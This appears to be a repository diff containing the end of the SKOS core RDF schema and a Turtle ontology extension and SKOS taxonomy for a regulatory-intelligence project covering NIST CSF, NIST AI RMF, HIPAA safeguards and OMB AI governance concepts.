<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#example">
|
||||
<rdfs:label xml:lang="en">example</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An example of the use of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#historyNote">
|
||||
<rdfs:label xml:lang="en">history note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note about the past state/use/meaning of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#scopeNote">
|
||||
<rdfs:label xml:lang="en">scope note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note that helps to clarify the meaning and/or the use of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#semanticRelation">
|
||||
<rdfs:label xml:lang="en">is in semantic relation with</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Links a concept to a concept related by meaning.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">This property should not be used directly, but as a super-property for all properties denoting a relationship of meaning between concepts.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S19 -->
|
||||
<rdfs:domain rdf:resource="#Concept"/>
|
||||
<!-- S20 -->
|
||||
<rdfs:range rdf:resource="#Concept"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broader">
|
||||
<rdfs:label xml:lang="en">has broader</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept that is more general in meaning.</skos:definition>
|
||||
<rdfs:comment xml:lang="en">Broader concepts are typically rendered as parents in a concept hierarchy (tree).</rdfs:comment>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broader is only used to assert an immediate (i.e. direct) hierarchical link between two conceptual resources.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S22 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#broaderTransitive"/>
|
||||
<!-- S25 -->
|
||||
<owl:inverseOf rdf:resource="#narrower"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrower">
|
||||
<rdfs:label xml:lang="en">has narrower</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept that is more specific in meaning.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broader is only used to assert an immediate (i.e. direct) hierarchical link between two conceptual resources.</skos:scopeNote>
|
||||
<rdfs:comment xml:lang="en">Narrower concepts are typically rendered as children in a concept hierarchy (tree).</rdfs:comment>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S22 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#narrowerTransitive"/>
|
||||
<!-- S25 -->
|
||||
<owl:inverseOf rdf:resource="#broader"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#related">
|
||||
<rdfs:label xml:lang="en">has related</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept with which there is an associative semantic relationship.</skos:definition>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S23 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- S27 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:related is disjoint with skos:broaderTransitive</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broaderTransitive">
|
||||
<rdfs:label xml:lang="en">has broader transitive</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition>skos:broaderTransitive is a transitive superproperty of skos:broader.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broaderTransitive is not used to make assertions. Rather, the properties can be used to draw inferences about the transitive closure of the hierarchical relation, which is useful e.g. when implementing a simple query expansion algorithm in a search application.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S24 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S26 -->
|
||||
<owl:inverseOf rdf:resource="#narrowerTransitive"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrowerTransitive">
|
||||
<rdfs:label xml:lang="en">has narrower transitive</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition>skos:narrowerTransitive is a transitive superproperty of skos:narrower.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:narrowerTransitive is not used to make assertions. Rather, the properties can be used to draw inferences about the transitive closure of the hierarchical relation, which is useful e.g. when implementing a simple query expansion algorithm in a search application.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S24 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S26 -->
|
||||
<owl:inverseOf rdf:resource="#broaderTransitive"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#member">
|
||||
<rdfs:label xml:lang="en">has member</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a collection to one of its members.</skos:definition>
|
||||
<!-- S30 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S31 -->
|
||||
<rdfs:domain rdf:resource="#Collection"/>
|
||||
<!-- S32 -->
|
||||
<rdfs:range>
|
||||
<owl:Class>
|
||||
<owl:unionOf rdf:parseType="Collection">
|
||||
<owl:Class rdf:about="#Concept"/>
|
||||
<owl:Class rdf:about="#Collection"/>
|
||||
</owl:unionOf>
|
||||
</owl:Class>
|
||||
</rdfs:range>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#memberList">
|
||||
<rdfs:label xml:lang="en">has member list</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates an ordered collection to the RDF list containing its members.</skos:definition>
|
||||
<!-- S30 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S33 -->
|
||||
<rdfs:domain rdf:resource="#OrderedCollection"/>
|
||||
<!-- S35 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#FunctionalProperty"/>
|
||||
<!-- S34 -->
|
||||
<rdfs:range rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#List"/>
|
||||
<!-- S36 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">For any resource, every item in the list given as the value of the
|
||||
skos:memberList property is also a value of the skos:member property.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#mappingRelation">
|
||||
<rdfs:label xml:lang="en">is in mapping relation with</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates two concepts coming, by convention, from different schemes, and that have comparable meanings</skos:definition>
|
||||
<rdfs:comment xml:lang="en">These concept mapping relations mirror semantic relations, and the data model defined below is similar (with the exception of skos:exactMatch) to the data model defined for semantic relations. A distinct vocabulary is provided for concept mapping relations, to provide a convenient way to differentiate links within a concept scheme from links between concept schemes. However, this pattern of usage is not a formal requirement of the SKOS data model, and relies on informal definitions of best practice.</rdfs:comment>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S39 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broadMatch">
|
||||
<rdfs:label xml:lang="en">has broader match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:broadMatch is used to state a hierarchical mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#broader"/>
|
||||
<!-- S43 -->
|
||||
<owl:inverseOf rdf:resource="#narrowMatch"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrowMatch">
|
||||
<rdfs:label xml:lang="en">has narrower match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:narrowMatch is used to state a hierarchical mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#narrower"/>
|
||||
<!-- S43 -->
|
||||
<owl:inverseOf rdf:resource="#broadMatch"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#relatedMatch">
|
||||
<rdfs:label xml:lang="en">has related match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:relatedMatch is used to state an associative mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#related"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#exactMatch">
|
||||
<rdfs:label xml:lang="en">has exact match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:exactMatch is used to link two concepts, indicating a high degree of confidence that the concepts can be used interchangeably across a wide range of information retrieval applications. skos:exactMatch is a transitive property, and is a sub-property of skos:closeMatch.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S42 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#closeMatch"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- S45 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S46 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:exactMatch is disjoint with each of the properties skos:broadMatch and skos:relatedMatch.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#closeMatch">
|
||||
<rdfs:label xml:lang="en">has close match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:closeMatch is used to link two concepts that are sufficiently similar that they can be used interchangeably in some information retrieval applications. In order to avoid the possibility of "compound errors" when combining mappings across more than two concept schemes, skos:closeMatch is not declared to be a transitive property.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,117 @@
|
||||
# Regulatory Intelligence — small domain extension.
|
||||
#
|
||||
# This is schema, not data: no facts, figures, or claims live here. It adds
|
||||
# the handful of classes/properties this use case needs that the vendored
|
||||
# real ontologies (ORG, PROV-O, DCAT, SKOS, OWL-Time, FRBR — see external/)
|
||||
# don't already provide, and aligns every new term to one of them rather
|
||||
# than duplicating what they already model.
|
||||
#
|
||||
# - Regulation subClassOf dcat:Dataset (each ingested document is both)
|
||||
# - RequirementClause a specific obligation extracted from a Regulation
|
||||
# - Agency subClassOf org:Organization
|
||||
# - Sector individuals are skos:Concept instances in regulatory_taxonomy.ttl
|
||||
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix owl: <http://www.w3.org/2002/07/owl#> .
|
||||
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
|
||||
@prefix org: <http://www.w3.org/ns/org#> .
|
||||
@prefix dcat: <http://www.w3.org/ns/dcat#> .
|
||||
@prefix prov: <http://www.w3.org/ns/prov#> .
|
||||
@prefix skos: <http://www.w3.org/2004/02/skos/core#> .
|
||||
@prefix time: <http://www.w3.org/2006/time#> .
|
||||
@prefix frbr: <http://purl.org/vocab/frbr/core#> .
|
||||
@prefix reg: <https://semantica.dev/cookbook/regulatory-intelligence/ontology#> .
|
||||
|
||||
<https://semantica.dev/cookbook/regulatory-intelligence/ontology>
|
||||
a owl:Ontology ;
|
||||
rdfs:label "Regulatory Intelligence — domain extension" ;
|
||||
rdfs:comment "Small extension aligning Regulation/RequirementClause/Agency to the vendored ORG, DCAT, PROV-O, SKOS, OWL-Time, and FRBR ontologies." ;
|
||||
owl:imports <http://www.w3.org/ns/org#> ,
|
||||
<http://www.w3.org/ns/dcat#> ,
|
||||
<http://www.w3.org/ns/prov#> ,
|
||||
<http://www.w3.org/2004/02/skos/core#> ,
|
||||
<http://www.w3.org/2006/time#> ,
|
||||
<http://purl.org/vocab/frbr/core#> .
|
||||
|
||||
# ---- Classes ----------------------------------------------------------
|
||||
|
||||
reg:Regulation
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf dcat:Dataset , prov:Entity ;
|
||||
rdfs:label "Regulation" ;
|
||||
rdfs:comment "A regulation, standard, executive order, memorandum, or governance guidance document ingested into the platform." .
|
||||
|
||||
reg:RequirementClause
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf prov:Entity ;
|
||||
rdfs:label "Requirement Clause" ;
|
||||
rdfs:comment "A single obligation, control, or requirement extracted from a Regulation." .
|
||||
|
||||
reg:Agency
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf org:Organization ;
|
||||
rdfs:label "Agency" ;
|
||||
rdfs:comment "A government agency or regulator (e.g. NIST, OMB, HHS, the Federal Reserve) that issues or is bound by a Regulation." .
|
||||
|
||||
# ---- Object properties --------------------------------------------------
|
||||
|
||||
reg:issuedBy
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Agency ;
|
||||
rdfs:label "issued by" .
|
||||
|
||||
reg:hasRequirement
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:RequirementClause ;
|
||||
rdfs:label "has requirement" .
|
||||
|
||||
reg:appliesToSector
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range skos:Concept ;
|
||||
rdfs:label "applies to sector" ;
|
||||
rdfs:comment "Links a requirement clause to a sector concept (e.g. Healthcare, Finance) in regulatory_taxonomy.ttl." .
|
||||
|
||||
reg:supersedes
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "supersedes" .
|
||||
|
||||
reg:amends
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "amends" .
|
||||
|
||||
reg:implements
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "implements" ;
|
||||
rdfs:comment "e.g. an agency compliance plan implementing an OMB memorandum." .
|
||||
|
||||
reg:conflictsWith
|
||||
a owl:ObjectProperty , owl:SymmetricProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range reg:RequirementClause ;
|
||||
rdfs:label "conflicts with" .
|
||||
|
||||
reg:effectiveInterval
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range time:Interval ;
|
||||
rdfs:label "effective interval" ;
|
||||
rdfs:comment "The requirement's validity window, modeled with OWL-Time rather than a bare date string." .
|
||||
|
||||
# ---- Datatype properties -------------------------------------------------
|
||||
|
||||
reg:sourceCitation
|
||||
a owl:DatatypeProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range xsd:string ;
|
||||
rdfs:label "source citation" ;
|
||||
rdfs:comment "Human-readable citation (e.g. '45 CFR 164.306(a)(1)') pointing at the exact real-document location this clause was extracted from." .
|
||||
@@ -0,0 +1,183 @@
|
||||
# Regulatory Intelligence — SKOS taxonomy.
|
||||
#
|
||||
# Every concept below is lifted directly from a defined term, section
|
||||
# heading, or function name that actually appears in one of the 9 real
|
||||
# documents in data/raw/ (verified by text-searching the real PDFs/XML
|
||||
# before writing this file — see skos:scopeNote on each concept for the
|
||||
# exact source). This is schema/vocabulary, not data: no facts about the
|
||||
# world are asserted here, only the controlled vocabulary used to tag them.
|
||||
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix skos: <http://www.w3.org/2004/02/skos/core#> .
|
||||
@prefix regv: <https://semantica.dev/cookbook/regulatory-intelligence/vocabulary#> .
|
||||
|
||||
regv:RegulatoryTopics
|
||||
a skos:ConceptScheme ;
|
||||
skos:prefLabel "Regulatory Intelligence — Topic Vocabulary"@en ;
|
||||
skos:definition "Controlled vocabulary of functions, safeguards, governance concepts, and sectors drawn directly from the 9 real documents ingested by this use case."@en .
|
||||
|
||||
# ---- NIST Cybersecurity Framework 2.0 — the six Functions ---------------
|
||||
# Source: nist_csf_2.0.pdf (NIST CSWP 29)
|
||||
|
||||
regv:Govern
|
||||
a skos:Concept ;
|
||||
skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Govern"@en ;
|
||||
skos:definition "CSF 2.0 Function: establish and monitor the organization's cybersecurity risk management strategy, expectations, and policy."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 (CSF 2.0) — added relative to CSF 1.1."@en ;
|
||||
skos:related regv:AIGovern .
|
||||
|
||||
regv:Identify
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Identify"@en ;
|
||||
skos:definition "CSF Function: understand the organization's current cybersecurity risks."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Protect
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Protect"@en ;
|
||||
skos:definition "CSF Function: use safeguards to manage the organization's cybersecurity risks."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Detect
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Detect"@en ;
|
||||
skos:definition "CSF Function: find and analyze possible cybersecurity attacks and compromises."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Respond
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Respond"@en ;
|
||||
skos:definition "CSF Function: take action regarding a detected cybersecurity incident."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Recover
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Recover"@en ;
|
||||
skos:definition "CSF Function: restore assets and operations affected by a cybersecurity incident."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
# ---- NIST AI Risk Management Framework 1.0 — the four Functions ---------
|
||||
# Source: nist_ai_rmf_1.0.pdf (NIST AI 100-1)
|
||||
|
||||
regv:AIGovern
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Govern (AI RMF)"@en ;
|
||||
skos:definition "AI RMF Function: cultivate a culture of AI risk management and establish accountability structures across the AI lifecycle."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en ;
|
||||
skos:related regv:Govern .
|
||||
|
||||
regv:Map
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Map"@en ;
|
||||
skos:definition "AI RMF Function: establish the context to frame risks related to an AI system."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
regv:Measure
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Measure"@en ;
|
||||
skos:definition "AI RMF Function: employ quantitative, qualitative, or mixed-method tools to analyze and monitor AI risk."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
regv:Manage
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Manage"@en ;
|
||||
skos:definition "AI RMF Function: allocate resources to mapped and measured risks on a regular basis."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
# ---- HIPAA Security Rule safeguard categories ----------------------------
|
||||
# Source: hipaa_security_rule_45cfr164_subpart_c.xml (45 CFR 164.308/.310/.312/.314)
|
||||
|
||||
regv:AdministrativeSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Administrative Safeguards"@en ;
|
||||
skos:definition "Administrative actions, policies, and procedures to manage the selection, development, and execution of security measures to protect ePHI."@en ;
|
||||
skos:scopeNote "45 CFR 164.308."@en .
|
||||
|
||||
regv:PhysicalSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Physical Safeguards"@en ;
|
||||
skos:definition "Physical measures, policies, and procedures to protect electronic information systems and related buildings/equipment from hazards and unauthorized intrusion."@en ;
|
||||
skos:scopeNote "45 CFR 164.310."@en .
|
||||
|
||||
regv:TechnicalSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Technical Safeguards"@en ;
|
||||
skos:definition "The technology and policy/procedures for its use that protect ePHI and control access to it."@en ;
|
||||
skos:scopeNote "45 CFR 164.312."@en .
|
||||
|
||||
regv:OrganizationalRequirements
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Organizational Requirements"@en ;
|
||||
skos:definition "Requirements governing business associate contracts and other arrangements involving ePHI."@en ;
|
||||
skos:scopeNote "45 CFR 164.314."@en .
|
||||
|
||||
# ---- OMB M-24-10 AI governance concepts ----------------------------------
|
||||
# Source: omb_m24-10_ai_governance.pdf
|
||||
|
||||
regv:Transparency
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Transparency"@en ;
|
||||
skos:definition "Public disclosure obligations for agency AI use, including AI use case inventories."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
regv:RightsImpactingAI
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Rights-Impacting AI"@en ;
|
||||
skos:broader regv:RiskClassification ;
|
||||
skos:definition "AI whose output serves as a principal basis for a decision or action with a legal, material, or similarly significant effect on a person's civil rights or liberties."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
